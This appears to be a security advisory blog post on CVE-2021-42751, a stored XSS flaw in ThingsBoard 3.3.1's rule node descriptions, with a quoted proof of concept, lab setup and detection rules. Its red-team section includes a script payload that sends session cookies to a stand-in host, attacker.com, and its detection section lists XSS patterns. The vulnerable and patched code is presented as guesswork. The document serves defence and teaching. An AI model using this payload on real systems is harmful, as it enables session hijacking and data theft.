CVE-2021-42751

Executive Summary

CVE-2021-42751 is a stored cross-site scripting (XSS) vulnerability in ThingsBoard version 3.3.1, specifically within the Rule Engine component. An authenticated attacker with administrative privileges can inject arbitrary JavaScript into the description field of a rule node. This payload executes when any user hovers over the node in the Rule Chain editor, leading to session hijacking, data exfiltration, or further compromise of the ThingsBoard instance. The vulnerability has a public proof-of-concept (PoC) exploit and a CVSS v3.1 base score of 4.8 (Medium), but its impact is amplified in multi-tenant environments where administrators may be targeted.

Supply Chain & Package Security

ThingsBoard is a Java-based IoT platform distributed via GitHub releases and Docker images. The vulnerable component is the Rule Engine, which is part of the core application. No direct supply chain compromise is indicated, but the lack of a patch for version 3.3.1 means users must upgrade to a later version (3.4+) to remediate the issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires administrative access
• User Interaction: Required (UI:R) – victim must hover over the node
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – potential data leakage
• Integrity Impact: Low (I:L) – potential modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. While the attack requires admin privileges, the stored XSS can be used to escalate privileges or pivot to other systems, especially in shared environments.

Deep Dive & Mechanics

The vulnerability resides in the Rule Engine’s node editor. When creating or editing a rule node, the description field is not sanitized or encoded before being rendered in the UI. The description is stored in the database and later displayed as a tooltip when a user hovers over the node in the Rule Chain editor. Because the description is rendered as HTML without proper escaping, an attacker can inject arbitrary JavaScript.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to "Rule Chains" and creates a new rule node.
3. In the description field, enters a payload such as <script>alert('XSS')</script>.
4. Saves the node.
5. Any user (including other admins) hovering over the node triggers the script execution.

Root Cause: The description field is stored and rendered without HTML encoding. The frontend likely uses innerHTML or similar unsafe methods to display the tooltip.

Vulnerable vs. Patched Code

Vulnerable Code (ThingsBoard 3.3.1): The frontend component that renders the rule node tooltip likely uses an unsafe method like:

// Vulnerable: directly sets innerHTML
tooltip.innerHTML = node.description;

Patched Code (ThingsBoard 3.4+): The patched version sanitizes the description before rendering:

// Patched: uses textContent to prevent XSS
tooltip.textContent = node.description;

Or uses a sanitization library like DOMPurify:

// Patched: sanitizes HTML
tooltip.innerHTML = DOMPurify.sanitize(node.description);

Exploitation & Lab Setup

Red Team

Exploit-DB Code:

# Exploit Title: ThingsBoard 3.3.1 'description' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# Tested on: [relevant os]
# CVE : CVE-2021-42751
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the description e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed

Usage:

1. Log in to ThingsBoard as an administrator.
2. Navigate to "Rule Chains" and create a new rule chain or edit an existing one.
3. Add a new rule node (any type).
4. In the description field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the node.
6. When another admin hovers over the node, the script executes, exfiltrating cookies or performing other actions.

Lab Setup:

• Target: ThingsBoard 3.3.1 running on Linux (Docker or bare metal).
• Attacker Machine: Kali Linux with a web server to capture exfiltrated data.
• Steps:
  1. Deploy ThingsBoard 3.3.1 using Docker: docker run -d --name tb -p 8080:8080 thingsboard/tb:3.3.1
  2. Access the web UI at http://localhost:8080.
  3. Log in with default admin credentials (sysadmin@thingsboard.org / sysadmin).
  4. Follow the exploit steps above.

Blue Team

Detection:

• Monitor for unusual rule node creation or modification events in audit logs.
• Look for rule nodes with description fields containing <script> tags or other HTML/JavaScript patterns.
• Use web application firewalls (WAF) to block XSS payloads in the description field.

Hunting:

• Search database for rule node descriptions containing <script, onerror, onload, or other XSS vectors.
• Review network traffic for outbound connections to unknown domains from the ThingsBoard server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to attacker-controlled domains from the ThingsBoard server.
  • Unusual POST requests to /api/ruleChain or /api/ruleNode with HTML/JavaScript in the description field.
• Host:
  • Log entries showing creation of rule nodes with suspicious descriptions.
  • Modified JavaScript files in the ThingsBoard web directory (if attacker uploads malicious scripts).
• File:
  • Rule chain JSON exports containing XSS payloads in node descriptions.

Detection Engineering

YARA Rule

rule Detect_ThingsBoard_XSS_Description {
    meta:
        description = "Detects XSS payloads in ThingsBoard rule node descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-42751"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: ThingsBoard Stored XSS in Rule Node Description
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or modification of rule nodes with XSS payloads in the description field
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42751
logsource:
    product: thingsboard
    service: audit
detection:
    selection:
        action: ["RULE_NODE_CREATED", "RULE_NODE_UPDATED"]
        description|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ThingsBoard Stored XSS - Rule Node Description Payload"; flow:to_server,established; content:"POST"; http_method; content:"/api/ruleNode"; http_uri; content:"description"; nocase; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ThingsBoard to version 3.4 or later, which includes proper output encoding for the description field.
2. If upgrade is not possible, restrict administrative access to trusted users only.
3. Implement a web application firewall (WAF) rule to block XSS payloads in the description parameter.

Long-Term Fixes:

• Apply input validation and output encoding for all user-supplied fields.
• Use a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of the Rule Engine and other user-facing components.

Workarounds:

• Disable the Rule Chain editor for non-essential users.
• Manually sanitize the description field in the database using a script.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 99C2B9C82A002E9C9C669EB4] */}